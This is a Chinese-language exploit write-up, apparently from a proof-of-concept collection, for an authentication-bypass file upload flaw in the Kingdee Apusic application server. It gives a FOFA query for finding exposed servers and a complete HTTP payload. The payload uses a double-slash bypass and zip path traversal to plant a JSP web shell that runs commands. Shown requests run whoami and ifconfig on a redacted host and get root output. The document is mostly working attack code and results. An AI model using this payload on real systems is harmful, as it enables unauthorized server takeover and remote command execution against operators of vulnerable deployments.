J17-2金蝶-Apusic应用服务器-文件上传

漏洞描述：

金蝶Apusic应用服务器 deployApp 接口存在任意文件上传漏洞，攻击者可通过双斜杠绕过鉴权并上传恶意压缩包接管服务器权限。

影响版本：

金蝶Apusic应用服务器 <= V9.0 SP7
不受影响版本
金蝶Apusic应用服务器 > V9.0 SP7

网站图片：

网络测绘：

fofa语法：

FOFA：app="Apusic应用服务器"

漏洞复现：

payload：

```
POST /admin//protect/application/deployApp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
Accept-Encoding: gzip

------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="appName"

111
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="deployInServer"

false
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="clientFile"; filename="evil.zip"
Content-Type: application/x-zip-compressed

{{unquote("PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="archivePath"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="baseContext"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="startType"

auto
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="loadon"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="virtualHost"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
```

```
Content-Disposition: form-data; name="allowHosts"


------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="denyHosts"


------WebKitFormBoundaryd9acIBdVuqKWDJbd--
```

PS：上传带命令回显的jsp木马

Request

```
POST /admin//protect/application/deployApp HTTP/1.1
Host: [redacted]:6080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd
Accept-Encoding: gzip

------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="appName"

111
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="deployInServer"

false
------WebKitFormBoundaryd9acIBdVuqKWDJbd
Content-Disposition: form-data; name="clientFile"; filename="evil.zip"
Content-Type: application/x-zip-compressed

{{unquote
("PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\x0a····if·\x28\"admin\".equals\x28request.getParameter\x28\"pwd\"\x29\x29\x29·\x7b\x0d\x0a········java.io.InputStream·input·=·Runtime.getRuntime\x28\x29.exec\x28request.getParameter\x28\"cmd\"\x29\x29.getInputStream\x28\x29;\x0d\x0a········int·len·=·-1;\x0d\x0a········byte[]·bytes·=·new·byte[4092];\x0d\x0a········while·\x28\x28len·=·input.read\x28bytes\x29\x29·!=·-1\x29·\x7b\x0d\x0a············out.println\x28new·String\x28bytes,·\"GBK\"\x29\x29;\x0d\x0a········\x7d\x0d\x0a····
```

Responses 11690bytes / 693ms 美化 渲染

```
HTTP/1.1 200 OK
Cache-Control: no-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Date: Mon, 27 Nov 2023 05:11:07 GMT
Content-Type: text/html; charset=utf-8
Content-Language: zh-CN
Connection: keep-alive
Set-Cookie: JSESSIONID=fwAAARfAZWQk69vsLS
Content-Length: 11690



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4
html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="
<meta http-equiv="X-UA-Compatible" conten
<title>Apusic应用服务器应用管理</title>



<script type="text/javascript" src="/admi
<script type="text/javascript" src="/admi
<script type="text/javascript"
```

命令执行

```
GET /shell2.jsp?pwd=admin&cmd=ifconfig HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

Request

```
GET /shell2.jsp?pwd=admin&cmd=whoami HTTP/1.1
Host: [redacted]:6080
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

Responses 12267bytes / 43ms

```
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 05:13:58 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Set-Cookie: JSESSIONID=fwAAARfAZWQllsiVSqf
Content-Length: 12267

root
```